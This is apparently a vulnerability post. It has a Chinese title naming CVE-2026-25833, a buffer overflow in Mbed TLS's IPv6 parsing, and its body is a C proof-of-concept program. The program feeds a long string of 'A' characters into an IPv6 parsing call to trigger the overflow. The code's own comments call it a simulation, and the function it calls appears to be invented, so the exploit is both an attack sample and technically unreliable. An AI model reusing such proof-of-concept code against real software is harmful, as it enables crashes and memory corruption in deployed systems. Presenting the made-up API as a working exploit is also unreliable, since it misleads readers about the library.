CVE-2026-25833 Mbed TLS缓冲区溢出漏洞

#include <stdio.h> #include <string.h> #include "mbedtls/x509.h" // PoC for CVE-2026-25833: Buffer overflow in x509_inet_pton_ipv6 // This code attempts to trigger the overflow by passing a long IPv6 string. int main() { // Create a malicious long IPv6 string char malicious_ipv6[256]; memset(malicious_ipv6, 'A', sizeof(malicious_ipv6) - 1); malicious_ipv6[sizeof(malicious_ipv6) - 1] = '\0'; unsigned char output_buffer[16]; printf("Attempting to trigger CVE-2026-25833...\n"); // Call the vulnerable function (simulation based on description) // In a real scenario, this would be the internal x509_inet_pton_ipv6 call // during certificate parsing or IP verification. int result = mbedtls_x509_crt_parse_ipv6(malicious_ipv6, output_buffer); if (result != 0) { printf("Function returned error code: %d\n", result); } else { printf("Function call succeeded (unexpected).\n"); } return 0; }